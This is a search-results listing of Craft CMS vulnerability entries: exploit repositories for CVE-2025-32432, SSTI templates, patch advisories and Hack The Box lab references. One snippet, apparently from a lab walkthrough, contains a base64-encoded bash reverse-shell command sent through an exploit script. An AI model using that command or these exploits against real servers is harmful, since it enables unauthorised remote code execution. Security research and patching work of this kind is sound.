243 matches found
CVE-2025-32432
Exploit de CraftCMS CVE-2025-32432 por Chirag Artani Resumen Este repositorio contiene un script de prueba de concepto para CVE-2025-32432, una vulnerabilidad de ejecución remota de código RCE sin autenticación que afecta a CraftCMS versiones 4.x y 5.x. La vulnerabilidad existe en la función de...
CVE-2025-32432
CraftCMS CVE-2025-32432 Exploit Toolkit Exploitation tools for CraftCMS Remote Code Execution vulnerability based on SensePost research. 📁 File Description 🎯 Main Tools 1. finalpoc.py - Final optimized POC Supports information disclosure and remote code execution Automatic asset ID discovery...
CVE-2025-52122
CVE CraftCMS Freeform CraftCMS Freeform contains an SSTI vulnerability, resulting in arbitrary code injection for all users that have access to editing a form submission title. Vulnerable versions are v5.0.0 test % set form = freeform.form'pentest' % % if form % form.render % else % Form not foun...
CraftCMS SEOmatic - Server-Side Template Injection
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution. id: CVE-2021-41749 info: name: CraftCMS SEOmatic - Server-Side Template Injection author: iamnoooob,ritikchaddha...
PoC_CVE-2025-32432
CraftCMS CVE-2025-32432 - Clean PoC Cleaned-up and improved version of the original Proof of Concept. Credits Original research: Orange Cyberdefense & Chirag Artani Cleaned-up and improved version: n40y License This project is licensed under MIT. See the LICENSE file for more details. Disclaimer...
CraftCMS - Remote Code Execution
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity...
CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution RCE. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in...
craftcms-cve-2025-32432-rce
payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...
Craft CMS < 3.3.0 - Server-Side Template Injection
Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller. id: CVE-2020-9757 info: name: Craft CMS 3.3.0 - Server-Side Template Injection author:...
CVE-2025-32432-PoC
Scripts de Explotación CVE-2025-32432 PoC en Python Ejecución Remota de Código sin autenticación para CraftCMS 3.x / 4.x / 5.x Mantenedor del PoC: C.T.Y. solo uso en investigación Descubrimiento de la vulnerabilidad: Nicolas Bourras – Orange Cyberdefense Inspiración adicional del PoC: Investigaci...
CLSA-2026-1790174106 TuxCare security update for craftcms/cms (1 CVE)
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p10+tuxcare...
CLSA-2026-1788430341 TuxCare security update for craftcms/cms (4 CVEs)
TuxCare rebuilt craftcms/cms to address 4 CVEs. Fixed in 3.9.15-p9+tuxcare...
htb-labs-orion
🚀 HTB Labs - Orion English | EspañolREADME-ES...
CLSA-2026-1786625623 TuxCare security update for craftcms/cms (1 CVE)
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p8+tuxcare...
PT-2026-80152
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p8+tuxcare...
Directory Traversal
Overview craftcms/cms is a content management system. Affected versions of this package are vulnerable to Directory Traversal in the ensurePathIsContained function. An attacker can potentially access files outside the intended directory by manipulating file paths during the normalization process...
Protection Mechanism Failure
Overview craftcms/cms is a content management system. Affected versions of this package are vulnerable to Protection Mechanism Failure through the SecurityPolicy process. An attacker can execute arbitrary code on the server by rendering a malicious Twig template after authenticating to the contro...
PT-2026-70200
Name of the Vulnerable Software and Affected Versions Craft CMS versions 5.0.0-RC1 through 5.10.5 Craft CMS versions 4.0.0-RC1 through 4.18.1 Description Authenticated users with control panel access can leak arbitrary environment variables and secrets. This occurs because the software interpolat...